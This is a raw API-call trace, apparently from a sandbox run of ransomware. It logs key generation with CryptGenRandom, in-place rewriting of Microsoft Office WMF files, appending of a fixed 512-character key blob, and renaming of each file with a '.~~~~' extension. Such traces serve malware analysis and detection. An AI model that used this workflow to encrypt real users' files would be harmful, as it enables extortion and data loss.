	[0124.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be380 | out: hHeap=0x300000) returned 1
	[0124.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.068] GetLastError () returned 0x0
	[0124.068] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.069] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.069] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.069] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24405959373) returned 1
	[0124.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb36b9bf0, dwHighDateTime=0x1d60e1e)) 
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820210
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820210 | out: hHeap=0x300000) returned 1
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be2e8
	[0124.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.070] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.071] GetLastError () returned 0x0
	[0124.071] GetLastError () returned 0x0
	[0124.071] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.071] GetLastError () returned 0x0
	[0124.071] GetLastError () returned 0x0
	[0124.074] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffe2c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.074] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x1d3a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x1d3a, lpOverlapped=0x0) returned 1
	[0124.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.076] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.076] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.076] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.076] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.076] CloseHandle (hObject=0x120) returned 1
	[0124.076] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be2e8
	[0124.076] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.~~~~")) returned 1
	[0124.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be2e8 | out: hHeap=0x300000) returned 1
	[0124.078] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.078] GetLastError () returned 0x0
	[0124.078] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.080] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.080] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.080] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24406996452) returned 1
	[0124.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb36dfd50, dwHighDateTime=0x1d60e1e)) 
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820248
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820248 | out: hHeap=0x300000) returned 1
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.080] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be548
	[0124.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.081] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.081] GetLastError () returned 0x0
	[0124.081] GetLastError () returned 0x0
	[0124.081] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.081] GetLastError () returned 0x0
	[0124.081] GetLastError () returned 0x0
	[0124.159] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffcec8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.159] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3138, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x3138, lpOverlapped=0x0) returned 1
	[0124.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.161] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.161] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.161] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.161] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.161] CloseHandle (hObject=0x120) returned 1
	[0124.183] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be840
	[0124.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.~~~~")) returned 1
	[0124.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be840 | out: hHeap=0x300000) returned 1
	[0124.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.202] GetLastError () returned 0x0
	[0124.202] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.203] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.204] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24419466493) returned 1
	[0124.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3810850, dwHighDateTime=0x1d60e1e)) 
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820440
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820440 | out: hHeap=0x300000) returned 1
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f0658
	[0124.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be5e0
	[0124.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f0658 | out: hHeap=0x300000) returned 1
	[0124.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.206] GetLastError () returned 0x0
	[0124.206] GetLastError () returned 0x0
	[0124.206] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.206] GetLastError () returned 0x0
	[0124.206] GetLastError () returned 0x0
	[0124.208] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff83a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.209] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7c6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x7c6, lpOverlapped=0x0) returned 1
	[0124.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.211] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.211] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.211] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.211] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.211] CloseHandle (hObject=0x144) returned 1
	[0124.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be5e0
	[0124.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222021.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222021.wmf.~~~~")) returned 1
	[0124.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be5e0 | out: hHeap=0x300000) returned 1
	[0124.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.213] GetLastError () returned 0x0
	[0124.214] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.215] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.216] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.216] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24420598212) returned 1
	[0124.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb38369b0, dwHighDateTime=0x1d60e1e)) 
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820478
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820478 | out: hHeap=0x300000) returned 1
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f0658
	[0124.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beb38
	[0124.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f0658 | out: hHeap=0x300000) returned 1
	[0124.217] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.217] GetLastError () returned 0x0
	[0124.217] GetLastError () returned 0x0
	[0124.217] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.217] GetLastError () returned 0x0
	[0124.217] GetLastError () returned 0x0
	[0124.221] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff0a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.221] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf5c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf5c, lpOverlapped=0x0) returned 1
	[0124.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.223] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.223] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.223] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.223] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.223] CloseHandle (hObject=0x144) returned 1
	[0124.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beb38
	[0124.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229385.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229385.wmf.~~~~")) returned 1
	[0124.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3beb38 | out: hHeap=0x300000) returned 1
	[0124.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.225] GetLastError () returned 0x0
	[0124.225] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.226] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.226] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.227] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24421674242) returned 1
	[0124.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb38369b0, dwHighDateTime=0x1d60e1e)) 
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28204b0
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28204b0 | out: hHeap=0x300000) returned 1
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f0658
	[0124.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bebd0
	[0124.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f0658 | out: hHeap=0x300000) returned 1
	[0124.228] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.228] GetLastError () returned 0x0
	[0124.228] GetLastError () returned 0x0
	[0124.228] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.228] GetLastError () returned 0x0
	[0124.228] GetLastError () returned 0x0
	[0124.230] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff120, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.231] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xee0, lpOverlapped=0x0) returned 1
	[0124.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.374] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.374] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.388] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.388] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.388] CloseHandle (hObject=0x144) returned 1
	[0124.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf1c0
